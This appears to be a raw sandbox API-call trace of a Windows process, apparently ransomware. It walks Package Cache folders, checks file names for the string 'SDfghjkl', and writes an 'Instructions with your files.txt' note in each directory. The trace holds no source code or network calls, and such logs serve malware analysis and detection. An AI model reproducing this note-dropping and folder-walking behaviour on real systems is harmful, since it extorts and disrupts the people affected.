[0126.643] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned 112
[0126.643] GetProcessHeap () returned 0x810000
[0126.643] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.643] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned 114
[0126.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.675] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\.") returned 114
[0126.675] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.675] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\..") returned 115
[0126.675] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.675] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121
[0126.675] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.675] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.675] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 138
[0126.675] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0126.675] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.675] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 145
[0126.675] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.695] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.696] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.696] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.696] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.696] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.696] CloseHandle (hObject=0x114) returned 1
[0126.697] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.697] GetProcessHeap () returned 0x810000
[0126.697] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.697] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0126.697] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Instructions with your files.txt") returned 124
[0126.697] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.697] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.698] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.698] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.698] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.698] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.699] CloseHandle (hObject=0x110) returned 1
[0126.699] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.699] GetProcessHeap () returned 0x810000
[0126.699] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.699] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.699] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Instructions with your files.txt") returned 115
[0126.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.699] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.700] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.700] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.700] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.700] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.700] CloseHandle (hObject=0x10c) returned 1
[0126.701] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.701] GetProcessHeap () returned 0x810000
[0126.701] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.701] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
[0126.701] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 71
[0126.701] GetProcessHeap () returned 0x810000
[0126.701] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.701] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned 73
[0126.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.723] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\.") returned 73
[0126.723] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.723] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\..") returned 74
[0126.723] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0126.723] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 81
[0126.723] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0126.723] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0126.723] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 88
[0126.723] StrStrIW (lpFirst="vcredist_x64.exe", lpSrch="SDfghjkl") returned 0x0
[0126.723] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0126.723] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Instructions with your files.txt") returned 104
[0126.723] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.727] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.729] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.729] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.729] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.729] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.729] CloseHandle (hObject=0x10c) returned 1
[0126.729] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.729] GetProcessHeap () returned 0x810000
[0126.730] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.730] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
[0126.730] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 82
[0126.730] GetProcessHeap () returned 0x810000
[0126.730] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.730] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned 84
[0126.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.766] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\.") returned 84
[0126.928] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.928] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\..") returned 85
[0126.928] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.928] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned 91
[0126.928] GetProcessHeap () returned 0x810000
[0126.928] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.928] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned 93
[0126.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.928] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\.") returned 93
[0126.928] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.928] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\..") returned 94
